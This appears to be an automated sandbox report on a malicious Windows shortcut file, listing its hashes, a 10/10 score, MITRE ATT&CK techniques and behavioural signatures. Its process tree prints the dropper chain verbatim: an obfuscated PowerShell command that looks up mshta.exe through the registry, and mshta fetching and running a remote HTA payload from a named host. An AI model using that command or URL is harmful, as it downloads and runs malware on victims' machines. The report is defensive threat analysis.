a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb

Analysis

max time kernel
93s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/09/2024, 16:04

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General

Target

a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb.lnk
Size

1KB
MD5

0bcd24976d909128816f96bbc348a930
SHA1

2cc99b933d8ae1dd8d35bc6d893e53f0ed008a97
SHA256

a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb
SHA512

2dbaaa3c9f23af0530d527d1a5426486d2f88e46a0147aca472a6f23bb14bdb430e4422140a5fc827a20c424c1bc342189c5e7aa176256e9ec5133f85b0cadad

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://ftp.alphaglobal.pt/b.cod

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	1400	mshta.exe
7	1400	mshta.exe
12	1400	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4412	powershell.exe
4412	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4412	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 4412	5076	cmd.exe	84
PID 5076 wrote to memory of 4412	5076	cmd.exe	84
PID 4412 wrote to memory of 1400	4412	powershell.exe	85
PID 4412 wrote to memory of 1400	4412	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://ftp.alphaglobal.pt/b.cod
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://ftp.alphaglobal.pt/b.cod
    3⤵
    - Blocklisted process makes network request
    PID:1400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mx05p0je.lxp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4412-2-0x00007FFBC4853000-0x00007FFBC4855000-memory.dmp

Filesize
8KB

Download
memory/4412-8-0x0000014EE3470000-0x0000014EE3492000-memory.dmp

Filesize
136KB

Download
memory/4412-13-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

Filesize
10.8MB

Download
memory/4412-14-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

Filesize
10.8MB

Download
memory/4412-17-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

Filesize
10.8MB

Download